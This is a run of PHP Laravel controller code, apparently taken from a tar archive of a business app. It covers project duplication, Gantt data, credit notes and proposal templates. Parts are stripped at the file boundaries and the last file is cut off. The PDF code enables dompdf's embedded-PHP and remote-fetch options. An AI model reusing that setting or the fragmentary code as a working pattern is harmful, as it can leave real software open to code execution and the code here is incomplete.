@phpstan-ignore-line */ } } } if($request->has('milestone')){ $projectMilestoneExists = ProjectMilestone::where('project_id', $request->duplicateProjectID)->get(); if ($projectMilestoneExists) { foreach ($projectMilestoneExists as $projectMilestoneExist) { $milestone = new ProjectMilestone(); $milestone->project_id = $project->id; $milestone->milestone_title = $projectMilestoneExist->milestone_title; $milestone->summary = $projectMilestoneExist->summary; $milestone->cost = $projectMilestoneExist->cost; $milestone->currency_id = $projectMilestoneExist->currency_id; $milestone->status = $projectMilestoneExist->status; $milestone->start_date = $projectMilestoneExist->start_date; $milestone->end_date = $projectMilestoneExist->end_date; $milestone->save(); $this->logProjectActivity($milestone->project_id, 'messages.milestoneUpdated'); } } } if($request->has('time_sheet')){ $projectTimeLogExists = ProjectTimeLog::where('project_id', $request->duplicateProjectID)->get(); if ($projectTimeLogExists) { foreach ($projectTimeLogExists as $projectTimeLogExist) { $projectTimeLog = new ProjectTimeLog(); $projectTimeLog->project_id = $project->id; $projectTimeLog->task_id = $projectTimeLogExist->task_id; $projectTimeLog->user_id = $projectTimeLogExist->user_id; $projectTimeLog->start_time = $projectTimeLogExist->start_time; $projectTimeLog->end_time = $projectTimeLogExist->end_time; $projectTimeLog->total_hours = $projectTimeLogExist->total_hours; $projectTimeLog->total_minutes = $projectTimeLogExist->total_minutes; $projectTimeLog->hourly_rate = $projectTimeLogExist->hourly_rate; $projectTimeLog->memo = $projectTimeLogExist->memo; $projectTimeLog->edited_by_user = $userId; $projectTimeLog->save(); } } } if($request->has('note')){ $projectNoteExists = ProjectNote::where('project_id', $request->duplicateProjectID)->get(); if ($projectNoteExists) { foreach ($projectNoteExists as $projectNoteExist) { $projectNote = new ProjectNote(); $projectNote->project_id = $project->id; $projectNote->title = $projectNoteExist->title; $projectNote->details = $projectNoteExist->details; $projectNote->type = $projectNoteExist->type; $projectNote->client_id = $projectNoteExist->client_id; $projectNote->is_client_show = $projectNoteExist->is_client_show; $projectNote->ask_password = $projectNoteExist->ask_password; $projectNote->save(); } } } if($request->has('task')){ $projectTasks = Task::with('labels', 'taskUsers'); if($request->task_status){ $projectTasks->whereIn('board_column_id', $request->task_status); } $projectTasks = $projectTasks->where('project_id', $request->duplicateProjectID)->get(); $taskBoard = TaskboardColumn::where('slug', 'incomplete')->first(); if ($projectTasks) { foreach ($projectTasks as $projectTask) { $task = new Task(); $task->company_id = company()->id; $task->project_id = $project->id; $task->heading = $projectTask->heading; $task->description = trim_editor($projectTask->description); $task->start_date = $projectTask->start_date; $task->due_date = $projectTask->due_date; $task->task_category_id = $projectTask->category_id; /* @phpstan-ignore-line */ $task->priority = $projectTask->priority; $task->board_column_id = $taskBoard->id; $task->dependent_task_id = $projectTask->dependent_task_id; $task->is_private = $projectTask->is_private; $task->billable = $projectTask->billable; $task->estimate_hours = $projectTask->estimate_hours; $task->estimate_minutes = $projectTask->estimate_minutes; $task->milestone_id = $projectTask->milestone_id; $task->repeat = $projectTask->repeat; $task->hash = md5(microtime()); if ($projectTask->repeat) { $task->repeat_count = $projectTask->repeat_count; $task->repeat_type = $projectTask->repeat_type; $task->repeat_cycles = $projectTask->repeat_cycles; } if ($project) { $projectLastTaskCount = Task::projectTaskCount($project->id); $task->task_short_code = ($project) ? $project->project_short_code . '-' . ((int)$projectLastTaskCount + 1) : null; } $task->saveQuietly(); $this->saveSubTask($projectTask, $task, $request); } } } } public function saveSubTask($projectTask, $task, $request) { if($request->has('same_assignee')){ foreach($projectTask->taskUsers as $taskUsers){ $taskUser = new TaskUser(); $taskUser->task_id = $task->id; $taskUser->user_id = $taskUsers->user_id; $taskUser->save(); } } if (!is_null($projectTask->id) && $request->has('sub_task')) { $subTasks = SubTask::with(['files'])->where('task_id', $projectTask->id)->get(); if ($subTasks) { foreach ($subTasks as $subTask) { $subTaskData = new SubTask(); $subTaskData->title = $subTask->title; $subTaskData->task_id = $task->id; $subTaskData->description = trim_editor($subTask->description); if ($subTask->start_date != '' && $subTask->due_date != '') { $subTaskData->start_date = $subTask->start_date; $subTaskData->due_date = $subTask->due_date; } $subTaskData->assigned_to = $subTask->assigned_to; $subTaskData->save(); if ($subTask->files) { foreach ($subTask->files as $fileData) { $file = new SubTaskFile(); $file->user_id = $fileData->user_id; $file->sub_task_id = $subTaskData->id; $fileName = Files::generateNewFileName($fileData->filename); Files::copy(SubTaskFile::FILE_PATH . '/' . $fileData->sub_task_id . '/' . $fileData->hashname, SubTaskFile::FILE_PATH . '/' . $subTaskData->id . '/' . $fileName); $file->filename = $fileData->filename; $file->hashname = $fileName; $file->size = $fileData->size; $file->save(); } } } } } } public function getProjects(Request $request) { $clientId = UserService::getUserId(); $projects = Project::query() ->when(($request->requesterType == 'client' && $request->clientId), function ($query) use ($request) { $query->where('client_id', $request->clientId); }) ->when(($request->requesterType == 'employee' && $request->userId), function ($query) use ($request) { $query->whereHas('members', function ($q) use ($request) { $q->where('user_id', $request->userId); }) ->orWhere('public', 1); }) ->get(); return Reply::dataOnly(['projects' => $projects]); } public function orders() { $dataTable = new OrdersDataTable($this->onlyTrashedRecords); $viewPermission = user()->permission('view_project_orders'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned'])); $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'projects.ajax.orders'; return $dataTable->render('projects.show', $this->data); } public function ganttDataNew($projectID, $hideCompleted, $company) { $taskBoardColumn = TaskboardColumn::completeColumn(); if ($hideCompleted == 0) { $milestones = ProjectMilestone::with(['tasks' => function ($q) { return $q->whereNotNull('tasks.start_date'); }, 'tasks.boardColumn'])->where('project_id', $projectID)->get(); } else { $milestones = ProjectMilestone::with(['tasks' => function ($q) use ($taskBoardColumn) { return $q->whereNotNull('tasks.start_date')->where('tasks.board_column_id', '<>', $taskBoardColumn->id); }, 'tasks.boardColumn']) ->where('status', 'incomplete') ->where('project_id', $projectID)->get(); } $nonMilestoneTasks = Task::whereNull('milestone_id')->whereNotNull('start_date')->with('boardColumn'); if ($hideCompleted == 1) { $nonMilestoneTasks = $nonMilestoneTasks->where('tasks.board_column_id', '<>', $taskBoardColumn->id); } $nonMilestoneTasks = $nonMilestoneTasks->where('project_id', $projectID)->get(); $ganttData = []; $ganttData['data'] = []; $ganttData['links'] = []; foreach ($milestones as $key => $milestone) { $parentID = 'project-' . $milestone->id; $ganttData['data'][] = [ 'id' => $parentID, 'text' => $milestone->milestone_title, 'type' => 'project', 'start_date' => $milestone->start_date->format('d-m-Y H:i'), 'duration' => $milestone->start_date->diffInDays($milestone->end_date) + 1, 'progress' => ($milestone->tasks->count()) ? ($milestone->completionPercent() / 100) : 0, 'parent' => 0, 'open' => ($milestone->status == 'incomplete'), 'color' => '#cccccc', 'textColor' => '#09203F', 'linkable' => false, 'priority' => ($key + 1) ]; foreach ($milestone->tasks as $key2 => $task) { $taskUsers = '
'; foreach($task->users as $item) { $taskUsers .= ''; } $taskUsers .= view('components.status', ['style' => 'color: ' . $task->boardColumn->label_color, 'value' => $task->boardColumn->column_name, 'color' => 'red'])->render() . '
'; $ganttData['data'][] = [ 'id' => $task->id, 'text' => $task->heading, 'text_user' => $taskUsers, 'type' => 'task', 'start_date' => $task->start_date->format('d-m-Y H:i'), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) + 1 : 1), 'parent' => $parentID, 'priority' => ($key2 + 1), 'color' => $task->boardColumn->label_color.'20', 'textColor' => '#09203F', 'view' => view('components.cards.task-card', ['task' => $task, 'draggable' => false, 'company' => $company])->render() ]; if (!is_null($task->dependent_task_id)) { $ganttData['links'][] = [ 'id' => $task->id, 'source' => $task->dependent_task_id, 'target' => $task->id, 'type' => 0 ]; } } if ($milestone->tasks->count()) { $ganttData['data'][] = [ 'id' => 'milestone-' . $milestone->id, 'text' => $milestone->milestone_title, 'type' => 'milestone', 'start_date' => (($task->due_date) ? $task->due_date->format('d-m-Y H:i') : $task->start_date->format('d-m-Y H:i')), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) + 1 : 1), 'parent' => $parentID, ]; $ganttData['links'][] = [ 'id' => 'milestone-' . $milestone->id, 'source' => $task->id, 'target' => 'milestone-' . $milestone->id, 'type' => 0 ]; } } foreach ($nonMilestoneTasks as $key2 => $task) { $taskUsers = '
'; foreach($task->users as $item) { $taskUsers .= ''; } $taskUsers .= view('components.status', ['style' => 'color: ' . $task->boardColumn->label_color, 'value' => $task->boardColumn->column_name, 'color' => 'red'])->render() . '
'; $ganttData['data'][] = [ 'id' => $task->id, 'text' => $task->heading, 'text_user' => $taskUsers, 'type' => 'task', 'start_date' => $task->start_date->format('d-m-Y H:i'), 'duration' => (($task->due_date) ? $task->start_date->diffInDays($task->due_date) : 1), 'priority' => ($key2 + 1), 'color' => $task->boardColumn->label_color.'20', 'textColor' => '#09203F', 'view' => view('components.cards.task-card', ['task' => $task, 'draggable' => false, 'company' => $company])->render() ]; if (!is_null($task->dependent_task_id)) { $ganttData['links'][] = [ 'id' => $task->id, 'source' => $task->dependent_task_id, 'target' => $task->id, 'type' => 0 ]; } } $ganttData['links'] = array_merge($ganttData['links'], GanttLink::where('project_id', $projectID)->select('id', 'type', 'source', 'target', 'type')->get()->toArray()); return $ganttData; } } Http/Controllers/CreditNoteController.php000064400000072273150325104510014615 0ustar00pageTitle = 'app.menu.credit-note'; $this->middleware(function ($request, $next) { abort_403(!in_array('invoices', $this->user->modules)); return $next($request); }); } public function index(CreditNotesDataTable $dataTable) { $viewPermission = user()->permission('view_invoices'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); if (!request()->ajax()) { $this->projects = Project::allProjects(); } if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } return $dataTable->render('credit-notes.index', $this->data); } public function create() { abort_403(!in_array(user()->permission('add_invoices'), ['all', 'added'])); abort_if(!request()->has('invoice'), 404); $this->invoiceId = $id = request('invoice'); $this->creditNote = Invoice::with(['items', 'project', 'client'])->findOrFail($id); abort_if(!in_array($this->creditNote->status, ['paid', 'partial']), 404); $this->lastCreditNote = CreditNotes::count() + 1; $this->creditNoteSetting = invoice_setting(); $this->projects = Project::allProjects(); $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->unit_types = UnitType::all(); $this->products = Product::all(); $this->zero = ''; $this->invoiceSetting = invoice_setting(); $this->pageTitle = __('app.addCreditNote'); if (strlen($this->lastCreditNote) < $this->creditNoteSetting->credit_note_digit) { $condition = $this->creditNoteSetting->credit_note_digit - strlen($this->lastCreditNote); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } /** @phpstan-ignore-next-line */ $items = $this->creditNote->items->filter(function ($value, $key) { return $value->type == 'item'; }); /** @phpstan-ignore-next-line */ $tax = $this->creditNote->items->filter(function ($value, $key) { return $value->type == 'tax'; }); $this->totalTax = $tax->sum('amount'); $this->discount = $this->creditNote->discount; $this->discountType = $this->creditNote->discount_type; if ($this->discountType == 'percent') { $this->totalDiscount = $items->sum('amount') * $this->discount / 100; } if ($this->discountType == 'fixed') { $this->totalDiscount = $this->discount; } $this->view = 'credit-notes.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('credit-notes.create', $this->data); } public function store(StoreCreditNotes $request) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $hsn_sac_code = $request->hsn_sac_code; $quantity = $request->quantity; $amount = $request->amount; $amountArray = $request->amount; $tax = $request->taxes; $itemSummary = $request->item_summary; $invoice_item_image_url = $request->invoice_item_image_url; $unitId = request()->unit_id; $product = request()->product_id; foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } DB::beginTransaction(); $invoice = Invoice::findOrFail($request->invoice_id); $clientId = null; if ($invoice->client_id) { $clientId = $invoice->client_id; } elseif (!is_null($invoice->project) && $invoice->project->client_id) { $clientId = $invoice->project->client_id; } $creditNote = new CreditNotes(); $creditNote->project_id = ($invoice->project_id) ? $invoice->project_id : null; $creditNote->client_id = $clientId; $creditNote->cn_number = $request->cn_number; $creditNote->invoice_id = $invoice->id; $creditNote->issue_date = $request->issue_date; $creditNote->due_date = $request->due_date; $creditNote->sub_total = round($request->sub_total, 2); $creditNote->discount = round($request->discount_value, 2); $creditNote->discount_type = $request->discount_type; $creditNote->total = round($request->total, 2); $creditNote->adjustment_amount = round($request->adjustment_amount, 2); $creditNote->currency_id = $request->currency_id; $creditNote->note = trim_editor($request->note); $creditNote->save(); if ($invoice) { $invoice->credit_note = 1; if ($invoice->status != 'paid') { $amount = round($invoice->total, 2); if (round($request->total, 2) > round($invoice->total - $invoice->getPaidAmount(), 2)) { // create payment for invoice total if ($invoice->status == 'partial') { $amount = round($invoice->total - $invoice->getPaidAmount(), 2); } $invoice->status = 'paid'; } else { $amount = round($request->total, 2); $invoice->status = 'partial'; $creditNote->status = 'closed'; if (round($request->total, 2) == round($invoice->total - $invoice->getPaidAmount(), 2)) { if ($invoice->status == 'partial') { $amount = round($invoice->total - $invoice->getPaidAmount(), 2); } $invoice->status = 'paid'; } } } $invoice->save(); } DB::commit(); foreach ($items as $key => $item) : if (!is_null($item)) { $creditNoteItem = CreditNoteItem::create([ 'credit_note_id' => $creditNote->id, 'item_name' => $item, 'type' => 'item', 'unit_id' => (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null, 'product_id' => (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null, 'hsn_sac_code' => (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null, 'item_summary' => $itemSummary[$key], 'quantity' => $quantity[$key], 'unit_price' => round($cost_per_item[$key], 2), 'amount' => round($amountArray[$key], 2), 'taxes' => ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null) ]); /* Invoice file save here */ if(isset($invoice_item_image_url[$key])){ CreditNoteItemImage::create( [ 'credit_note_item_id' => $creditNoteItem->id, 'external_link' => isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null ] ); } } endforeach; // Log search $this->logSearchEntry($creditNote->id, $creditNote->cn_number, 'creditnotes.show', 'creditNote'); return Reply::redirect(route('creditnotes.index'), __('messages.recordSaved')); } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->viewPermission = user()->permission('view_invoices'); $this->creditNote = CreditNotes::with('unit')->findOrFail($id); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->creditNote->invoice->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->creditNote->client_id == user()->id) )); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); if ($this->creditNote->file != null) { return response()->download(storage_path('app/public/credit-note-files') . '/' . $this->creditNote->file); } $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return request()->view ? $pdf->stream($filename . '.pdf') : $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); $this->creditNote = CreditNotes::with('client')->findOrFail($id); App::setLocale($this->invoiceSetting->locale ?? 'en'); Carbon::setLocale($this->invoiceSetting->locale ?? 'en'); $this->invoiceNumber = 0; if (Invoice::where('id', '=', $this->creditNote->invoice_id)->exists()) { $this->invoiceNumber = Invoice::select('invoice_number')->where('id', $this->creditNote->invoice_id)->first(); } // Download file uploaded if ($this->creditNote->file != null) { return response()->download(storage_path('app/public/credit-note-files') . '/' . $this->creditNote->file); } $this->discount = 0; if ($this->creditNote->discount > 0) { if ($this->creditNote->discount_type == 'percent') { $this->discount = (($this->creditNote->discount / 100) * $this->creditNote->sub_total); } else { $this->discount = $this->creditNote->discount; } } $taxList = array(); $items = CreditNoteItem::whereNotNull('taxes') ->where('credit_note_id', $id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = CreditNoteItem::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->creditNote->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->creditNote->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->creditNote->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->creditNote->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = company(); $this->creditNoteSetting = invoice_setting(); $this->invoiceSetting = invoice_setting(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); // $pdf->loadView('credit-notes.pdf.' . $this->creditNoteSetting->template, $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('credit-notes.pdf.' . $this->invoiceSetting->template, $this->data)->render()); $filename = $this->creditNote->cn_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function edit($id) { $this->creditNote = CreditNotes::with('invoice', 'unit')->findOrFail($id); $this->editPermission = user()->permission('edit_invoices'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->creditNote->invoice->added_by == user()->id))); $this->projects = Project::allProjects(); $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->unit_types = UnitType::all(); $this->creditNoteSetting = invoice_setting(); return view('credit-notes.edit', $this->data); } public function update(UpdateCreditNote $request, $id) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; foreach ($quantity as $qty) { if (!is_numeric($qty) && $qty < 1) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $creditNote = CreditNotes::findOrFail($id); $creditNote->issue_date = $request->issue_date; $creditNote->sub_total = round($request->sub_total, 2); $creditNote->discount = round($request->discount_value, 2); $creditNote->discount_type = $request->discount_type; $creditNote->total = round($request->total, 2); $creditNote->currency_id = $request->currency_id; $creditNote->adjustment_amount = round($request->adjustment_amount, 2); $creditNote->note = trim_editor($request->note); $creditNote->save(); return Reply::redirect(route('creditnotes.index'), __('messages.updateSuccess')); } public function show($id) { $this->viewPermission = user()->permission('view_invoices'); $this->creditNote = CreditNotes::with('invoice', 'unit')->findOrFail($id); $userId = UserService::getUserId(); abort_403(!(( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->creditNote->invoice->added_by == $userId) || ($this->viewPermission == 'owned' && $this->creditNote->client_id == $userId)) || ($this->viewPermission == 'both' && ($this->creditNote->client_id == $userId || $this->creditNote->invoice->added_by == $userId)) )); $this->paidAmount = $this->creditNote->getPaidAmount(); $this->pageTitle = $this->creditNote->cn_number; $this->discount = 0; if ($this->creditNote->discount > 0) { if ($this->creditNote->discount_type == 'percent') { $this->discount = (($this->creditNote->discount / 100) * $this->creditNote->sub_total); } else { $this->discount = $this->creditNote->discount; } } if($this->creditNote->discount_type == 'percent') { $discountAmount = $this->creditNote->discount; $this->discountType = $discountAmount.'%'; }else { $discountAmount = $this->creditNote->discount; $this->discountType = currency_format($discountAmount, $this->creditNote->currency_id); } $this->invoiceExist = false; if (Invoice::where('id', '=', $this->creditNote->invoice_id)->exists()) { $this->invoiceExist = true; } $taxList = array(); $items = CreditNoteItem::whereNotNull('taxes') ->where('credit_note_id', $this->creditNote->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = CreditNoteItem::taxbyid($tax)->first(); if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->creditNote->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->creditNote->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else{ $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->creditNote->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->creditNote->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } $this->taxes = $taxList; $this->settings = $this->company; $this->creditNoteSetting = invoice_setting(); return view('credit-notes.show', $this->data); } public function destroy($id) { $this->deletePermission = user()->permission('delete_invoices'); $this->creditNote = CreditNotes::with('invoice')->findOrFail($id); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $this->creditNote->invoice->added_by == user()->id))); $firstCreditNote = CreditNotes::orderBy('id', 'desc')->first(); if ($firstCreditNote->id == $id) { $creditNote = CreditNotes::with('payment')->findOrFail($id); if (Invoice::where('id', '=', $creditNote->invoice_id)->exists()) { Invoice::withoutEvents(function () use ($creditNote) { Invoice::where('id', '=', $creditNote->invoice_id)->update(['credit_note' => 0]); }); } $payments = $creditNote->payment()->get(); /* Delete all payments */ Payment::where('credit_notes_id', $id)->delete(); foreach ($payments as $payment) { $payment->invoice->status = 'partial'; if ($payment->invoice->amountPaid() == $payment->invoice->total) { $payment->invoice->status = 'paid'; } if ($payment->invoice->amountPaid() == 0) { $payment->invoice->status = 'unpaid'; } $payment->invoice->saveQuietly(); } CreditNotes::destroy($id); return Reply::success(__('messages.deleteSuccess')); } else { return Reply::error(__('messages.creditNoteCanNotDeleted')); } } /** * @param mixed $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed */ public function applyToInvoice($id) { $this->pageTitle = __('app.applyToInvoice'); $this->creditNote = CreditNotes::findOrFail($id); $this->nonPaidInvoices = Invoice::pending()->where('credit_note', 0) ->where('currency_id', $this->creditNote->currency_id) ->where('client_id', $this->creditNote->client_id); $this->nonPaidInvoices = $this->nonPaidInvoices->with('payment', 'currency')->get(); $this->view = 'credit-notes.ajax.apply_to_invoices'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('credit-notes.create', $this->data); } /** * @param Request $request * @param int $id * @return array|string[] * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function applyInvoiceCredit(Request $request, $id) { $totalCreditAmount = 0.00; foreach ($request->invoices as $invoice) { $totalCreditAmount += $invoice['value']; } if ($totalCreditAmount == 0) { return Reply::error(__('messages.pleaseEnterCreditAmount')); } $creditNote = CreditNotes::findOrFail($id); $creditTotalAmount = 0.00; if ((float)$request->remainingAmount <= 0) { $creditNote->status = 'closed'; } foreach ($request->invoices as $invoice) { if ($invoice['value'] !== '0' && !is_null($invoice['value'])) { $creditTotalAmount += (float)$invoice['value']; $reqInvoice = Invoice::findOrFail($invoice['invoiceId']); $this->makePayment($id, $invoice['invoiceId'], (float)$invoice['value']); $reqInvoice->status = 'paid'; if ($reqInvoice->total > $reqInvoice->amountPaid()) { $reqInvoice->status = 'partial'; } $dueAmount = $reqInvoice->amountDue(); $reqInvoice->due_amount = $dueAmount; $reqInvoice->save(); } } $creditNote->save(); return Reply::redirect(route('creditnotes.show', $creditNote->id), __('messages.creditNoteAppliedSuccessfully')); } public function makePayment($creditNoteId, $invoiceId, $amount) { $creditNote = CreditNotes::findOrFail($creditNoteId); $payment = new Payment(); $payment->invoice_id = $invoiceId; $payment->credit_notes_id = $creditNoteId; $payment->amount = $amount; $payment->gateway = 'Credit Note'; $payment->currency_id = $creditNote->currency_id; $payment->customer_id = $creditNote->client_id; $payment->status = 'complete'; $payment->paid_on = now(); $payment->save(); } public function creditedInvoices(Request $request, $id) { $this->pageTitle = __('app.creditedInvoices'); $this->creditNote = CreditNotes::with('payment')->findOrFail($id); $this->payments = Payment::with('invoice')->where('credit_notes_id', $id)->get(); $this->view = 'credit-notes.ajax.credited_invoices'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('credit-notes.create', $this->data); } public function deleteCreditedInvoice(Request $request, $id) { $this->creditNote = CreditNotes::findOrFail($request->credit_id); // Delete from payment $payment = Payment::with('invoice')->findOrFail($id); $invoice = Invoice::findOrFail($payment->invoice->id); $payment->delete(); // Change invoice status $invoice->status = 'partial'; if ($invoice->amountPaid() == $invoice->total) { $invoice->status = 'paid'; } if ($invoice->amountPaid() == 0) { $invoice->status = 'unpaid'; } $invoice->due_amount += $payment->amount; $invoice->save(); // change credit status if ($this->creditNote->status == 'closed') { $this->creditNote->status = 'open'; $this->creditNote->save(); } $this->payments = Payment::with('invoice')->where('credit_notes_id', $request->credit_id)->get(); if ($this->payments->count() > 0) { $view = view('credit-notes.ajax.credited_invoices', $this->data)->render(); return Reply::successWithData(__('messages.deleteSuccess'), ['view' => $view, 'remainingAmount' => number_format((float)$this->creditNote->creditAmountRemaining(), 2, '.', '')]); } return Reply::redirect(route('creditnotes.show', [$this->creditNote->id]), __('messages.deleteSuccess')); } public function fileUpload() { $this->creditNoteId = request('credit_note'); return view('credit-notes.file_upload', $this->data); } public function storeFile(creditNoteFileStore $request) { $creditNoteId = $request->credit_note_id; $file = $request->file('file'); $newName = $file->hashName(); // setting hashName name // Getting invoice data $creditNote = CreditNotes::findOrFail($creditNoteId); if ($creditNote != null) { if ($creditNote->file != null) { unlink(storage_path('app/public/credit-note-files') . '/' . $creditNote->file); } $file->move(storage_path('app/public/credit-note-files'), $newName); $creditNote->file = $newName; $creditNote->file_original_name = $file->getClientOriginalName(); // Getting uploading file name; $creditNote->save(); return Reply::redirect(route('creditnotes.index')); } return Reply::error(__('messages.fileUploadIssue')); } public function destroyFile(Request $request) { $creditNoteId = $request->credit_note_id; $creditNote = CreditNotes::findOrFail($creditNoteId); if ($creditNote != null) { if ($creditNote->file != null) { unlink(storage_path('app/public/credit-note-files') . '/' . $creditNote->file); } $creditNote->file = null; $creditNote->file_original_name = null; $creditNote->save(); } return Reply::success(__('messages.deleteSuccess')); } public function convertInvoice($id) { $this->invoiceId = $id; $this->creditNote = Invoice::with(['items', 'project', 'client'])->findOrFail($id); $this->lastCreditNote = CreditNotes::count() + 1; $this->creditNoteSetting = invoice_setting(); $this->projects = Project::allProjects(); $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->products = Product::select('id', 'name as title', 'name as text')->get(); $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastCreditNote) < $this->creditNoteSetting->credit_note_digit) { $condition = $this->creditNoteSetting->credit_note_digit - strlen($this->lastCreditNote); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } /** @phpstan-ignore-next-line */ $items = $this->creditNote->items->filter(function ($value, $key) { return $value->type == 'item'; }); /** @phpstan-ignore-next-line */ $tax = $this->creditNote->items->filter(function ($value, $key) { return $value->type == 'tax'; }); $this->totalTax = $tax->sum('amount'); $this->discount = $this->creditNote->discount; $this->discountType = $this->creditNote->discount_type; if ($this->discountType == 'percent') { $this->totalDiscount = $items->sum('amount') * $this->discount / 100; } if ($this->discountType == 'fixed') { $this->totalDiscount = $this->discount; } return view('credit-notes.convert_invoice', $this->data); } public function getclients($id) { $client_data = Product::where('unit_id', $id)->get(); $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'data' => $client_data, 'type' => $unitId] ); } } Http/Controllers/ProposalTemplateController.php000064400000034666150325104510016054 0ustar00pageTitle = 'modules.proposal.proposalTemplate'; $this->middleware(function ($request, $next) { abort_403(in_array('contract', $this->user->modules)); return $next($request); }); } public function index(ProposalTemplateDataTable $dataTable) { abort_403(user()->permission('manage_proposal_template') == 'none'); return $dataTable->render('proposal-template.index', $this->data); } public function create() { $this->pageTitle = __('modules.proposal.createProposalTemplate'); $this->addPermission = user()->permission('manage_proposal_template'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->taxes = Tax::all(); $this->units = UnitType::all(); $this->currencies = Currency::all(); $this->invoiceSetting = invoice_setting(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->view = 'proposal-template.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('proposals.create', $this->data); } public function store(StoreRequest $request) { $this->manageProjectTemplatePermission = user()->permission('manage_proposal_template'); abort_403(!in_array($this->manageProjectTemplatePermission, ['all', 'added'])); $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (trim($items[0]) == '' || trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && 